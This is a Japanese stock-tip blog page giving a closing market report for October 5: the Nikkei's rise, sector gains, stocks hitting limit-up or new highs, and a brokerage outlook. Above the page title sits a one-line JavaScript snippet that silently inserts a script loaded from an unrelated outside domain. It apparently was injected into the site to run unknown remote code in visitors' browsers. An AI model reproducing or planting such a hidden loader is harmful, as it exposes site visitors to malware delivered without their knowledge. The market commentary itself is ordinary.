;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【10/5 大引け】|【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【10/5 大引け】

本日の日経平均株価は280円高と4日続伸。後場は前場の好地合いが継続。一時18079.46円(前週末比354.33円高)まで上昇、原油関連株や商社株などが物色されたほか、食品や農業、自動車関連などTPPのメリットを受けやすい業種に期待先行の買いが引き続き入った。日経平均は引けにかけ伸び悩んだものの、節目して意識される18,000円台はキープして取引を終えた。業種別では、倉庫運輸関連の1業種のみの値下がりで他、32業種は全て上昇。鉱業、卸売業、医薬品、機械などが上昇率上位となった。

個別では、2015年3~8月期連結利益予想の上方修正を発表した【3398】フェリシモや、開発中の抗がん剤「CBP501」の用途に関する特許が米国で成立したと発表した【4575】キャンバスがストップ高。インバウンド関連、先週から上昇の目立っていた【9726】KNT-CTホールディングス。緩和メリット関連の【8572】アコムなど新値追い継続となったほか、中国の国慶節。爆買いなどの思惑、需給妙味などから【5122】オカモトが年初来来高値を更新。その他、直近IPO銘柄、【1433】ベステラ、【3920】アイビーシー、【3918】PCIホールディングスなども大幅上昇と人気を集めた。

一部証券会社の見方では、今週の東京市場は下値固めの展開を想定。追加金融緩和期待が支えとなるものの、上値を買う材料にも乏しいことから海外市場睨みの展開が続くとみている。